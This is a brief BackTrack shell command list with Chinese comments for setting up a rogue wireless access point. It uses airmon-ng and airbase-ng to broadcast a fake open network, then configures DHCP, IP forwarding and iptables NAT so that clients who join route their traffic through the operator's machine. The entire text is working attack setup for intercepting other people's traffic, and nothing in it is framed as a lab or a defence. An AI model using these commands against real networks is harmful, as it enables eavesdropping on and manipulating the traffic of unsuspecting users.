#www.cunlide.com
#c4bbage@qq.com
#bt5 r3
#apt-get install dhcp3-server
#这个不建议直接运行
#这只是个命令表单
#以脚本运行80%不成功
#######################################
#开启XXXX
airmon-ng start wlan0
#虚拟出来cunlide.com
airbase-ng -P -C 30 -e cunlide.com -v mon0
#more /etc/dhcpd.conf
# option domain-name-servers 10.0.0.1;
# default-lease-time 60;
# max-lease-time 72;
# ddns-update-style none;
# authoritative;
# log-facility local7;
# subnet 10.0.0.0 netmask 255.255.255.0 {
# range 10.0.0.100 10.0.0.254;
# option routers 10.0.0.1;
# option domain-name-servers 10.0.0.1;
# }
#给虚拟出来的cunlide.com interface at0 分配ip
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
#dhcp
dhcpd3 -cf /etc/dhcpd.conf at0
echo 1 > /proc/sys/net/ipv4/ip_forward
#eth0 这个是用于连接internet的interface 也可以是wlan0
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
#at0 是虚拟出来的cunlide.com 的interface
iptables --append FORWARD --in-interface at0 -j ACCEPT
#airmon-ng stop mon0
#ifconfig down at0